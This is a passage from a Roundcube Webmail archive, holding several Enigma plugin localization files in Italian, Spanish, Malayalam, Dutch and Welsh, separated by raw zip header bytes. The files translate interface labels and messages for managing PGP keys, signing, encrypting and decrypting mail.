$labels['signmsg'] = 'Firma digitalmente questo messaggio';
$labels['sendunencrypted'] = 'Invia non cifrato';
$labels['enterkeypasstitle'] = 'Inserisci frase sicura della chiave';
$labels['enterkeypass'] = 'È richiesta una frase segreta per sbloccare la chiave ($keyid) per l\'utente: $user.';
$labels['attachpubkeymsg'] = 'Allega la mia chiave pubblica';
$labels['keyexportprompt'] = 'Vuoi includere le chiavi segrete nel file delle chiavi OpenPGP salvato?';
$labels['onlypubkeys'] = 'Esporta solo chiavi pubbliche';
$labels['withprivkeys'] = 'Esporta chiavi segrete';
$labels['findkey'] = 'Cerca nei server';
$labels['keyimportlabel'] = 'Importa da file';
$labels['keyimportsearchlabel'] = 'Cerca nei server';
$labels['managekeys'] = 'Gestisci chiavi PGP';
$labels['identitymatchingprivkeys'] = 'Hai $nr chiavi private PGP corrispondenti memorizzate nel tuo portachiavi:';
$labels['identitynoprivkeys'] = 'L\'identità del mittente non ha ancora una chiave privata PGP memorizzata nel tuo portachiavi.';
$labels['arialabelkeyexportoptions'] = 'Opzioni esportazione chiave';
$labels['arialabelkeysearchform'] = 'Modulo di ricerca chiavi';
$labels['arialabelkeyoptions'] = 'Opzioni Chiave';
$messages['sigvalid'] = 'Firma da $sender verificata.';
$messages['sigvalidpartial'] = 'Firma da $sender verificata, ma parte del corpo del messaggio non è firmata.';
$messages['siginvalid'] = 'Firma non valida da $sender.';
$messages['sigunverified'] = 'Firma non verificata. Certificato non verificato. ID certificato: $keyid.';
$messages['signokey'] = 'Firma non verificata. Chiave pubblica non trovata. ID chiave: $keyid.';
$messages['sigerror'] = 'Firma non verificata. Errore interno.';
$messages['decryptok'] = 'Messaggio decifrato.';
$messages['decrypterror'] = 'Decifrazione non riuscita.';
$messages['decryptnokey'] = 'Decifrazione non riuscita. Chiave privata non trovata. ID chiave: $keyid.';
$messages['decryptnomdc'] = 'Decrittazione esclusa. L\'integrità del messaggio non è protetta.';
$messages['decryptbadpass'] = 'Decifrazione non riuscita. Password non valida.';
$messages['decryptnopass'] = 'Decifrazione non riuscita. Password della chiave richiesta.';
$messages['decryptpartial'] = 'Messaggio decifrato, ma parte del corpo del messaggio non è firmata.';
$messages['signerror'] = 'Firma non riuscita.';
$messages['signnokey'] = 'Firma non riuscita. Chiave privata non trovata.';
$messages['signbadpass'] = 'Firma non riuscita. Password non valida.';
$messages['signnopass'] = 'Firma non riuscita. Password della chiave richiesta.';
$messages['encrypterror'] = 'Cifratura non riuscita.';
$messages['encryptnokey'] = 'Cifratura non riuscita. Chiave pubblica non trovata per $email.';
$messages['encryptnoprivkey'] = 'Crittografia fallita. Chiave privata non trovata.';
$messages['nokeysfound'] = 'Nessuna chiave trovata';
$messages['keynotfound'] = 'Chiave non trovata!';
$messages['keyopenerror'] = 'Impossibile ottenere informazioni sulla chiave. Errore interno.';
$messages['keylisterror'] = 'Impossibile elencare le chiavi. Errore interno.';
$messages['keysimportfailed'] = 'Impossibile importare la/le chiave/i. Errore interno.';
$messages['keysimportsuccess'] = 'Chiave/i importata/e correttamente. Importate: $new, non modificate: $old.';
$messages['keyremoving'] = 'Rimozione chiave/i...';
$messages['keyremoveconfirm'] = 'Sei sicuro di volere eliminare la/le chiave/i selezionata/e?';
$messages['keyremovesuccess'] = 'Chiave/i eliminata/e correttamente';
$messages['keyremoveerror'] = 'Impossibile eliminare la/le chiave/i selezionata/e.';
$messages['keyimporttext'] = 'Puoi importare chiavi private e pubbliche o firme di revoca in formato ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Puoi cercare chiavi pubbliche in base all\'identificatore della chiave, per nome utente o indirizzo di posta elettronica e quindi importarle direttamente.';
$messages['keystoragenotice'] = 'Tutte le chiavi pubbliche e private sono memorizzate sul server.';
$messages['formerror'] = 'Riempire il modulo. Tutti i campi sono richiesti.';
$messages['passwordsdiffer'] = 'Le password non corrispondono.';
$messages['keygenerateerror'] = 'Generazione di una coppia di chiavi non riuscita';
$messages['keygeneratesuccess'] = 'Una coppia di chiavi generata e importata correttamente.';
$messages['keygennosupport'] = 'Il browser non supporta la crittografia. Impossibile generare una coppia di chiavi.';
$messages['noidentselected'] = 'Devi selezionare almeno un\'identità per la chiave.';
$messages['nonameident'] = 'L\'identità deve avere un nome utente definito.';
$labels['newkeysize'] = 'Dimensione chiave';
$labels['key2048'] = '2048 bit - predefinito';
$labels['key4096'] = '4096 bit - più sicuro';
PKh�\g_y�o o %plugins/enigma/localization/es_ES.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Cifrado';
$labels['enigmacerts'] = 'Certificados S/MIME';
$labels['enigmakeys'] = 'Claves PGP';
$labels['keysfromto'] = 'Claves $from hasta $to de $count';
$labels['keyname'] = 'Nombre';
$labels['keyid'] = 'ID de Clave';
$labels['keyuserid'] = 'ID de Usuario';
$labels['keytype'] = 'Tipo de Clave';
$labels['fingerprint'] = 'Huella dactilar';
$labels['subkeys'] = 'Subclaves';
$labels['keyprops'] = 'Propiedades de la clave';
$labels['basicinfo'] = 'Información Básica';
$labels['userids'] = 'Usuarios Adicionales';
$labels['typepublickey'] = 'clave pública';
$labels['typekeypair'] = 'par de claves';
$labels['keyattfound'] = 'Este mensaje contiene adjunto una(s) clave(s) PGP.';
$labels['keyattimport'] = 'Importar clave(s)';
$labels['typesign'] = 'Firmar';
$labels['typeencrypt'] = 'Cifrar';
$labels['typecert'] = 'Certificar';
$labels['typeauth'] = 'Autentificación';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritmo';
$labels['subkeycreated'] = 'Creado';
$labels['subkeyexpires'] = 'Expira';
$labels['subkeyusage'] = 'Uso';
$labels['expiresnever'] = 'nunca';
$labels['unknown'] = 'desconocido';
$labels['uservalid'] = 'Válido';
$labels['userid'] = 'ID';
$labels['valid'] = 'válido';
$labels['supportencryption'] = 'Habilitar el cifrado de mensajes y firma';
$labels['supportsignatures'] = 'Activar la verificación de firmas de mensajes';
$labels['supportdecryption'] = 'Habilitar descifrado de mensaje';
$labels['signdefault'] = 'Firmar todos los mensajes por defecto';
$labels['encryptdefault'] = 'Cifrar todos los mensajes por defecto';
$labels['attachpubkeydefault'] = 'Adjuntar mi clave PGP pública por defecto';
$labels['passwordtime'] = 'Mantenga las contraseñas de clave privada durante';
$labels['nminutes'] = '$m minuto(s)';
$labels['wholesession'] = 'toda la sesión';
$labels['createkeys'] = 'Crear un nuevo par de claves';
$labels['importkeys'] = 'Importar clave(s)';
$labels['exportkeys'] = 'Exportar clave(s)';
$labels['keyactions'] = 'Acciones sobre la clave...';
$labels['keyremove'] = 'Eliminar';
$labels['keydisable'] = 'Deshabilitar';
$labels['keyrevoke'] = 'Revocar';
$labels['keysend'] = 'Enviar clave pública en un mensaje';
$labels['keychpass'] = 'Cambiar contraseña';
$labels['keyadd'] = 'Agregar clave';
$labels['newkeyident'] = 'Identidad';
$labels['newkeypass'] = 'Contraseña';
$labels['newkeypassconfirm'] = 'Confirmar contraseña';
$labels['newkeytype'] = 'Tipo de clave';
$labels['rsa2048'] = 'RSA - 2048 bits';
$labels['rsa4096'] = 'RSA - 4096 bits';
$labels['ecckeypair'] = 'ECC (Curva elíptica)';
$labels['keygenerating'] = 'Generando claves...';
$labels['encryptionoptions'] = 'Opciones de cifrado...';
$labels['encryptmsg'] = 'Cifrar este mensaje';
$labels['signmsg'] = 'Firmar digitalmente este mensaje';
$labels['sendunencrypted'] = 'Enviar sin cifrar';
$labels['enterkeypasstitle'] = 'Escriba la frase de contraseña';
$labels['enterkeypass'] = 'Se necesita una contraseña para desbloquear la clave secreta ($keyid) para el usuario: $user.';
$labels['attachpubkeymsg'] = 'Adjuntar mi clave pública';
$labels['keyexportprompt'] = '¿Quiere incluir claves secretas en el archivo guardado de claves OpenPGP?';
$labels['onlypubkeys'] = 'Exportar Sólo las Claves Públicas';
$labels['withprivkeys'] = 'Exportar las Claves Secretas';
$labels['findkey'] = 'Buscar en servidor(es) de claves';
$labels['keyimportlabel'] = 'Importar desde archivo';
$labels['keyimportsearchlabel'] = 'Buscar en servidor(es) de claves';
$labels['managekeys'] = 'Gestionar claves PGP';
$labels['identitymatchingprivkeys'] = 'Tiene $nr claves privadas PGP coincidentes en el anillo de claves:';
$labels['identitynoprivkeys'] = 'Esta identidad remitente no tiene aún una clave privada almacenada en el anillo de claves.';
$labels['arialabelkeyexportoptions'] = 'Opciones de claves de exportación';
$labels['arialabelkeysearchform'] = 'Formulario de búsqueda de claves';
$labels['arialabelkeyoptions'] = 'Opciones de clave';
$messages['sigvalid'] = 'Firma verificada de $sender.';
$messages['sigvalidpartial'] = 'Firma verificada de $sender, pero parte parte del cuerpo no estaba firmado.';
$messages['siginvalid'] = 'Firma inválida de $sender.';
$messages['sigunverified'] = 'Firma no verificada. Error interno. Clave pública no encontrada. ID del Certificado: $keyid.';
$messages['signokey'] = 'Firma no verificada. Error interno. Clave pública no encontrada. ID de Clave: $keyid.';
$messages['sigerror'] = 'Firma no verificada. Error interno.';
$messages['decryptok'] = 'Mensaje descifrado.';
$messages['decrypterror'] = 'Descifrado fallido.';
$messages['decryptnokey'] = 'Descifrado fallido. Clave privada no encontrada. ID de Clave: $keyid.';
$messages['decryptnomdc'] = 'Se ha saltado el descifrado. La integridad del mensaje no está protegida.';
$messages['decryptbadpass'] = 'Descifrado fallido. Contraseña inválida.';
$messages['decryptnopass'] = 'Descifrado fallido. Contraseña requerida.';
$messages['decryptpartial'] = 'Mensaje descifrado, pero parte del cuerpo no estaba cifrado.';
$messages['signerror'] = 'Falló la firma.';
$messages['signnokey'] = 'Falló la firma. Clave privada no encontrada.';
$messages['signbadpass'] = 'Falló la firma. Contraseña inválida.';
$messages['signnopass'] = 'Falló la firma. Contraseña requerida.';
$messages['encrypterror'] = 'Cifrado fallido.';
$messages['encryptnokey'] = 'Cifrado fallido. Clave pública no encontrada para $email.';
$messages['encryptnoprivkey'] = 'Cifrado fallido. No se encontró la clave privada.';
$messages['nokeysfound'] = 'No se encontraron claves';
$messages['keynotfound'] = '¡Clave no encontrada!';
$messages['keyopenerror'] = '¡No se puede obtener la información de clave! Error interno.';
$messages['keylisterror'] = '¡No es posible enumerar las claves! Error interno.';
$messages['keysimportfailed'] = '¡No se puede(n) importar la(s) clave(s)! Error interno.';
$messages['keysimportsuccess'] = 'Clave(s) importada(s) correctamente. Importado: $new, sin cambios: $old.';
$messages['keyremoving'] = 'Eliminando clave(s)...';
$messages['keyremoveconfirm'] = '¿Seguro que quiere eliminar la(s) clave(s) seleccionada(s)?';
$messages['keyremovesuccess'] = 'Clave(s) eliminada(s) correctamente.';
$messages['keyremoveerror'] = 'No se han podido borrar las clave(s) seleccionadas.';
$messages['keyimporttext'] = 'Puede importar la(s) clave(s) privada(s) y pública(s) o firmas de revocación en formato ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Puede buscar claves por identificador de clave, nombre de usuario o dirección de email y después importarlas directamente.';
$messages['keystoragenotice'] = 'Todas las claves públicas y privadas son guardadas en el servidor.';
$messages['formerror'] = 'Por favor rellene el formulario. ¡Todos los campos son obligatorios!';
$messages['passwordsdiffer'] = '¡Las contraseñas no coinciden!';
$messages['keygenerateerror'] = 'No se ha podido generar un par de claves';
$messages['keygeneratesuccess'] = 'Un par de claves generadas e importadas correctamente.';
$messages['keygennosupport'] = 'Su navegador web no soporta criptografía. ¡No se puede generar un par de claves!';
$messages['noidentselected'] = '¡Tiene que seleccionar al menos una identidad para la clave!';
$messages['nonameident'] = '¡La identidad debe de tener un nombre de usuario definido!';
$labels['newkeysize'] = 'Tamaño de clave';
$labels['key2048'] = '2048 bits - por defecto';
$labels['key4096'] = '4096 bits - más seguro';
PKh�\��3XX%plugins/enigma/localization/ml_IN.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['subkeycreated'] = 'നിര്‍മ്മിച്ചു';
$labels['expiresnever'] = 'ഒരിക്കലുമില്ല';
$labels['unknown'] = 'അറിയാത്ത';
$labels['keychpass'] = 'രഹസ്യവാക്ക് മാറ്റുക';
$labels['newkeypass'] = 'രഹസ്യവാക്ക്';
PKh�\�����%plugins/enigma/localization/nl_NL.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Versleuteling';
$labels['enigmacerts'] = 'S/MIME-certificaten';
$labels['enigmakeys'] = 'PGP-sleutels';
$labels['keysfromto'] = 'Sleutels $from t/m $to van $count';
$labels['keyname'] = 'Naam';
$labels['keyid'] = 'Sleutel-ID';
$labels['keyuserid'] = 'Gebruiker-ID';
$labels['keytype'] = 'Sleuteltype';
$labels['fingerprint'] = 'Vingerafdruk';
$labels['subkeys'] = 'Subsleutels';
$labels['keyprops'] = 'Sleutel eigenschappen';
$labels['basicinfo'] = 'Algemene informatie';
$labels['userids'] = 'Extra gebruikers';
$labels['typepublickey'] = 'publieke sleutel';
$labels['typekeypair'] = 'sleutelpaar';
$labels['keyattfound'] = 'Dit bericht bevat bijgevoegde PGP-sleutel(s).';
$labels['keyattimport'] = 'Importeer sleutel(s)';
$labels['typesign'] = 'Onderteken';
$labels['typeencrypt'] = 'Versleutel';
$labels['typecert'] = 'Certificeren';
$labels['typeauth'] = 'Authenticatie';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritme';
$labels['subkeycreated'] = 'Aangemaakt';
$labels['subkeyexpires'] = 'Verloopt';
$labels['subkeyusage'] = 'Gebruik';
$labels['expiresnever'] = 'nooit';
$labels['unknown'] = 'onbekend';
$labels['uservalid'] = 'Geldig';
$labels['userid'] = 'ID';
$labels['valid'] = 'geldig';
$labels['supportencryption'] = 'Berichtversleuteling en -ondertekening inschakelen';
$labels['supportsignatures'] = 'Verificatie van berichtondertekening inschakelen';
$labels['supportdecryption'] = 'Berichtontsleuteling inschakelen';
$labels['signdefault'] = 'Onderteken standaard alle berichten';
$labels['encryptdefault'] = 'Versleutel standaard alle berichten';
$labels['attachpubkeydefault'] = 'Voeg mijn publieke PGP-sleutel standaard bij';
$labels['passwordtime'] = 'Onthoud geheime sleutelwachtwoorden voor';
$labels['nminutes'] = '$m minuten';
$labels['wholesession'] = 'de hele sessie';
$labels['createkeys'] = 'Maak een nieuw sleutelpaar aan';
$labels['importkeys'] = 'Importeer sleutel(s)';
$labels['exportkeys'] = 'Exporteer sleutel(s)';
$labels['keyactions'] = 'Sleutelacties...';
$labels['keyremove'] = 'Verwijderen';
$labels['keydisable'] = 'Uitschakelen';
$labels['keyrevoke'] = 'Intrekken';
$labels['keysend'] = 'Verstuur publieke sleutel in een bericht';
$labels['keychpass'] = 'Wijzig wachtwoord';
$labels['newkeyident'] = 'identiteit';
$labels['newkeypass'] = 'Wachtwoord';
$labels['newkeypassconfirm'] = 'Wachtwoord bevestigen';
$labels['newkeytype'] = 'Sleuteltype';
$labels['keygenerating'] = 'Sleutels genereren...';
$labels['encryptionoptions'] = 'Versleutelingsopties...';
$labels['encryptmsg'] = 'Versleutel dit bericht';
$labels['signmsg'] = 'Onderteken dit bericht digitaal';
$labels['sendunencrypted'] = 'Niet versleuteld versturen';
$labels['enterkeypasstitle'] = 'Voer sleutelwachtwoord in';
$labels['enterkeypass'] = 'Een wachtwoord is vereist om de geheime sleutel ($keyid) te openen voor gebruiker: $user.';
$labels['attachpubkeymsg'] = 'Voeg mijn publieke sleutel bij';
$labels['keyexportprompt'] = 'Wilt u geheime sleutels bewaren in het opgeslagen OpenPGP-sleutelbestand?';
$labels['onlypubkeys'] = 'Alleen publieke sleutels exporteren';
$labels['withprivkeys'] = 'Geheime sleutels exporteren';
$labels['findkey'] = 'Zoek op keyserver(s)';
$labels['keyimportlabel'] = 'Importeer van bestand';
$labels['keyimportsearchlabel'] = 'Zoek op sleutel server(s)';
$labels['managekeys'] = 'PGP sleutels beheren';
$labels['identitymatchingprivkeys'] = 'U heeft $nr overeenkomende PGP-privésleutels opgeslagen.';
$labels['identitynoprivkeys'] = 'De afzender heeft (nog) geen PGP-privésleutel opgeslagen.';
$labels['arialabelkeyexportoptions'] = 'Opties voor sleutels exporteren';
$messages['sigvalid'] = 'Ondertekening van $sender geverifieerd.';
$messages['sigvalidpartial'] = 'Ondertekening van $sender geverifieerd, maar een deel van de inhoud was niet ondertekend.';
$messages['siginvalid'] = 'Ongeldige ondertekening van $sender.';
$messages['sigunverified'] = 'Niet-geverifieerde ondertekening. Certificaat niet geverifieerd. Certificaat-ID: $keyid.';
$messages['signokey'] = 'Niet-geverifieerde ondertekening. Publieke sleutel niet gevonden. Sleutel-ID: $keyid.';
$messages['sigerror'] = 'Niet-geverifieerde ondertekening. Interne fout.';
$messages['decryptok'] = 'Bericht ontsleuteld.';
$messages['decrypterror'] = 'Ontsleutelen mislukt.';
$messages['decryptnokey'] = 'Ontsleutelen mislukt. Geheime sleutel niet gevonden. Sleutel-ID: $keyid.';
$messages['decryptnomdc'] = 'Ontsleutelen overgeslaan. Het bericht is niet correct versleuteld.';
$messages['decryptbadpass'] = 'Ontsleutelen mislukt. Wachtwoord onjuist.';
$messages['decryptnopass'] = 'Ontsleutelen mislukt. Sleutelwachtwoord vereist.';
$messages['decryptpartial'] = 'Bericht ontsleuteld, maar een deel van de inhoud was niet versleuteld.';
$messages['signerror'] = 'Ondertekenen mislukt.';
$messages['signnokey'] = 'Ondertekenen mislukt. Geheime sleutel niet gevonden.';
$messages['signbadpass'] = 'Ondertekenen mislukt. Wachtwoord onjuist.';
$messages['signnopass'] = 'Ondertekenen mislukt. Sleutelwachtwoord vereist.';
$messages['encrypterror'] = 'Versleutelen mislukt.';
$messages['encryptnokey'] = 'Onsleutelen mislukt. Publieke sleutel niet gevonden voor $email.';
$messages['encryptnoprivkey'] = 'Versleutelen mislukt. Geheime sleutel niet gevonden';
$messages['nokeysfound'] = 'Geen sleutels gevonden';
$messages['keynotfound'] = 'Sleutel niet gevonden';
$messages['keyopenerror'] = 'Sleutelinformatie kan niet worden opgehaald! Interne fout.';
$messages['keylisterror'] = 'Sleutels kunnen niet worden weergegeven! Interne fout.';
$messages['keysimportfailed'] = 'Sleutel(s) kunnen niet worden geïmporteerd! Interne fout.';
$messages['keysimportsuccess'] = 'Sleutel(s) succesvol geïmporteerd. Geïmporteerd: $new, ongewijzigd: $old.';
$messages['keyremoving'] = 'Sleutel(s) verwijderen...';
$messages['keyremoveconfirm'] = 'Weet u zeker dat u de geselecteerde sleutel(s) wilt verwijderen?';
$messages['keyremovesuccess'] = 'Sleutel(s) succesvol verwijderd';
$messages['keyremoveerror'] = 'Geselecteerde sleutel(s) kunnen niet worden verwijderd.';
$messages['keyimporttext'] = 'U kunt geheime en publieke sleutel(s) of intrek-ondertekeningen importeren in ASCII-Armor formaat.';
$messages['keyimportsearchtext'] = 'U kunt naar publieke sleutels zoeken op basis van sleutel identifier, gebruikersnaam of e-mailadres en ze vervolgens direct importeren.';
$messages['formerror'] = 'Vul alstublieft het formulier in. Alle velden zijn vereist!';
$messages['passwordsdiffer'] = 'Wachtwoorden komen niet overeen!';
$messages['keygenerateerror'] = 'Genereren van een sleutelpaar is mislukt';
$messages['keygeneratesuccess'] = 'Een sleutelpaar is succesvol gegenereerd en geïmporteerd.';
$messages['keygennosupport'] = 'Uw webbrowser ondersteunt geen cryptografie. Sleutelpaar genereren is mislukt!';
$messages['noidentselected'] = 'Je dient minimaal een identiteit te selecteren voor de sleutel!';
$messages['nonameident'] = 'Identiteit moet een gebruikersnaam hebben!';
$labels['newkeysize'] = 'Sleutel grootte';
$labels['key2048'] = '2048 bits - standaard';
$labels['key4096'] = '4096 bits - veiliger';
PKh�\�_t��%plugins/enigma/localization/cy_GB.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Amgryptiad';
$labels['enigmacerts'] = 'Tystysgrifau S/MIME';
$labels['enigmakeys'] = 'Allweddi PGP';
$labels['keysfromto'] = 'Allweddi $from i $to o $count';
$labels['keyname'] = 'Enw';
$labels['keyid'] = 'ID Allwedd';
$labels['keyuserid'] = 'ID Defnyddiwr';
$labels['keytype'] = 'Math o allwedd';
$labels['fingerprint'] = 'Olion bys';
$labels['subkeys'] = 'Isallweddi';
$labels['keyprops'] = 'Nodweddion allwed';
$labels['basicinfo'] = 'Gwybodaeth sylfaenol';
$labels['userids'] = 'Defnyddwyr Ychwanegol';
$labels['typepublickey'] = 'allwedd gyhoeddus';
$labels['typekeypair'] = 'pâr allweddi';
$labels['keyattfound'] = 'Mae\'r neges hwn yn cynnwys allwedd(i) PGP.';
$labels['keyattimport'] = 'Mewnforio allwedd(i)';
$labels['typesign'] = 'Llofnodi';
$labels['typeencrypt'] = 'Amgryptio';
$labels['typecert'] = 'Tystio';
$labels['typeauth'] = 'Dilysiad';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algorithm';
$labels['subkeycreated'] = 'Crëwyd';
$labels['subkeyexpires'] = 'Yn darfod';
$labels['subkeyusage'] = 'Defnydd';
$labels['expiresnever'] = 'byth';
$labels['unknown'] = 'anhysbys';
$labels['uservalid'] = 'Dilys';
$labels['userid'] = 'ID';
$labels['valid'] = 'dilys';
$labels['supportencryption'] = 'Galluogi amgryptio neges a llofnodi';
$labels['supportsignatures'] = 'Galluogi dilys llofnodion neges';
$labels['supportdecryption'] = 'Galluogi dadgryptio neges';
$labels['signdefault'] = 'Llofnodi pob neges yn ddiofyn';
$labels['encryptdefault'] = 'Amgryptio pob neges yn ddiofyn';
$labels['attachpubkeydefault'] = 'Atodi fy allwedd PGP cyhoeddus yn ddiofyn';
$labels['passwordtime'] = 'Cadw cyfrineiriau allweddi preifat am';
$labels['nminutes'] = '$m munud';
$labels['wholesession'] = 'y sesiwn i gyd';
$labels['createkeys'] = 'Creu pâr allweddi newydd';
$labels['importkeys'] = 'Mewnforio allwedd(i)';
$labels['exportkeys'] = 'Allforio allwedd(i)';
$labels['keyactions'] = 'Gweithredoedd allwedd...';
$labels['keyremove'] = 'Dileu';
$labels['keydisable'] = 'Analluogi';
$labels['keyrevoke'] = 'Dirymu';
$labels['keysend'] = 'Danfon allwedd gyhoeddus mewn neges';
$labels['keychpass'] = 'Newid cyfrinair';
$labels['keyadd'] = 'Ychwanegu allwedd';
$labels['newkeyident'] = 'Hunaniaeth';
$labels['newkeypass'] = 'Cyfrinair';
$labels['newkeypassconfirm'] = 'Cadarnhau cyfrinair';
$labels['newkeytype'] = 'Math o allwedd';
$labels['rsa2048'] = 'RSA - 2048 did';
$labels['rsa4096'] = 'RSA - 4096 did';
$labels['ecckeypair'] = 'ECC (Elliptic Curve)';
$labels['keygenerating'] = 'Yn creu allweddi...';
$labels['encryptionoptions'] = 'Dewisiadau amgryptio...';
$labels['encryptmsg'] = 'Amgryptio\'r neges hwn';
$labels['signmsg'] = 'Llofnodi\'r neges yma yn ddigidol';
$labels['sendunencrypted'] = 'Danfon heb amgodi';
$labels['enterkeypasstitle'] = 'Rhowch yr ymadrodd cyfrin';
$labels['enterkeypass'] = 'Mae angen ymadrodd cyfrin i ddatgloi allwedd breifat ($keyid) ar gyfer defnyddiwr: $user:';
$labels['attachpubkeymsg'] = 'Atodi fy allwedd cyhoeddus';
$labels['keyexportprompt'] = 'Ydych eisiau cynnwys allweddi cyfrinachol yn y ffeil OpenPGP i\'w gadw?';
$labels['onlypubkeys'] = 'Allforio Allweddi Cyhoeddus yn unig';
$labels['withprivkeys'] = 'Allforio Allweddi Cyfrinachol';
$labels['findkey'] = 'Chwilio ar weinydd(wyr) allweddi';
$labels['keyimportlabel'] = 'Mewnforio o ffeil';
$labels['keyimportsearchlabel'] = 'Chwilio ar weinydd(wyr) allweddi';
$labels['managekeys'] = 'Rheoli allweddi PGP';
$labels['identitymatchingprivkeys'] = 'Mae gennych $nr allwedd preifat cyfatebol wedi eu storio yn eich cylch allwedd:';
$labels['identitynoprivkeys'] = 'Nid oes gan y danfonwr hwn allwedd preifat PGP wedi ei storio yn eich estyniad cylch allwedd.';
$labels['arialabelkeyexportoptions'] = 'Dewisiadau allforio allweddi';
$labels['arialabelkeysearchform'] = 'Ffurflen chwilio Allweddi';
$labels['arialabelkeyoptions'] = 'Dewisiadau allwedd';
$messages['sigvalid'] = 'Llofnod wedi ddilysu o $sender.';
$messages['sigvalidpartial'] = 'Llofnod wedi ddilysu o $sender, ond ni arwyddywyd rhan o gorff y neges';
$messages['siginvalid'] = 'Llofnod annilys o $sender.';
$messages['sigunverified'] = 'Llofnod heb ei ddilysu. Tystysgrif heb ei ddilys. ID Tystysgrif: $keyid.';
$messages['signokey'] = 'Llofnod heb ei ddilysu. Allwedd gyhoeddus heb ei ganfod. ID Allwedd: $keyid.';
$messages['sigerror'] = 'Llofnod heb ei ddilysu. Gwall mewnol.';
$messages['decryptok'] = 'Neges wedi ei ddadgryptio.';
$messages['decrypterror'] = 'Dadgryptio wedi methu.';
$messages['decryptnokey'] = 'Dadgryptio wedi methu. Allwedd breifat heb ei ganfod: ID Allwedd: $keyid.';
$messages['decryptnomdc'] = 'Hepgorwyd y dadgryptio. Nid yw cywirdeb y neges wedi ei wirio.';
$messages['decryptbadpass'] = 'Dadgryptio wedi methu. Cyfrinair annilys.';
$messages['decryptnopass'] = 'Dadgryptio wedi methu. Mae angen cyfrinair.';
$messages['decryptpartial'] = 'Dadgryptiwyd y neges, ond roedd darn o gorff y neges heb ei amgryptio';
$messages['signerror'] = 'Llofnodi wedi methu.';
$messages['signnokey'] = 'Llofnodi wedi methu. Allwedd breifat heb ei ganfod.';
$messages['signbadpass'] = 'Llofnodi wedi methu. Cyfrinair annilys.';
$messages['signnopass'] = 'Llofnodi wedi methu. Mae angen cyfrinair.';
$messages['encrypterror'] = 'Amgryptio wedi methu.';
$messages['encryptnokey'] = 'Amgryptio wedi methu. Allwedd cyhoeddus heb ei ganfod ar gyfer $email.';
$messages['encryptnoprivkey'] = 'Dadgryptio wedi methu. Allwedd breifat heb ei ganfod.';
$messages['nokeysfound'] = 'Ni ganfuwyd unrhyw allweddi';
$messages['keynotfound'] = 'Ni ganfuwyd yr allwedd!';
$messages['keyopenerror'] = 'Methwyd cael gwybodaeth allwedd! Gwall mewnol.';
$messages['keylisterror'] = 'Methwyd cael rhestr allweddi! Gwall mewnol';
$messages['keysimportfailed'] = 'Methwyd mewnforio allwedd(i)! Gwall mewnol.';
$messages['keysimportsuccess'] = 'Mewnforiwyd allwedd(i) yn llwyddiannus. Mewnforiwyd: $new, heb newid: $old.';
$messages['keyremoving'] = 'Yn dileu allwedd(i)...';
$messages['keyremoveconfirm'] = 'Ydych chi\'n siwr eich bod am ddileu yr allwedd(i) dewiswyd?';
$messages['keyremovesuccess'] = 'Allwedd(i) wedi ei dileu yn llwyddiannus';
$messages['keyremoveerror'] = 'Methwyd dileu yr allwedd(i) dewiswyd.';
$messages['keyimporttext'] = 'Fe allwch chi mewnforio allwedd(i) preifat a chyhoeddus neu lofnodion pallu mewn fformat ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Gallwch chwilio am allweddi cyhoeddus yn ol adnabydd allwedd, enw defnyddiwr neu gyfeiriad ebost ac yna eu mewnforio yn uniongyrchol.';
$messages['keystoragenotice'] = 'Mae\'r holl allweddi cyhoeddus a preifat yn cael eu stori ar y gweinydd.';
$messages['formerror'] = 'Llenwch y ffurflen os gwelwch yn dda. Mae angen llenwi pob maes!';
$messages['passwordsdiffer'] = 'Nid yw\'r cyfrineiriau yn cyfateb!';
$messages['keygenerateerror'] = 'Methwyd creu pâr allweddi';
$messages['keygeneratesuccess'] = 'Creuwyd a mewnforiwyd pâr allweddi yn llwyddiannus.';
$messages['keygennosupport'] = 'Nid yw\'ch porwr gwe yn cefnogi amgryptio. Methwyd creu pâr allweddi!';
$messages['noidentselected'] = 'Rhaid i chi ddewis o leiaf un hunaniaeth i\'r allwedd!';
$messages['nonameident'] = 'Rhaid i\'r personoliaeth gael enw defnyddiwr wedi ei ddiffinio!';
$labels['newkeysize'] = 'Maint allwedd';
$labels['key2048'] = '2048 did - diofyn';
$labels['key4096'] = '4096 did - mwy cadarn';
PKh�\�'ٙ�%plugins/enigma/localization/en_GB.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
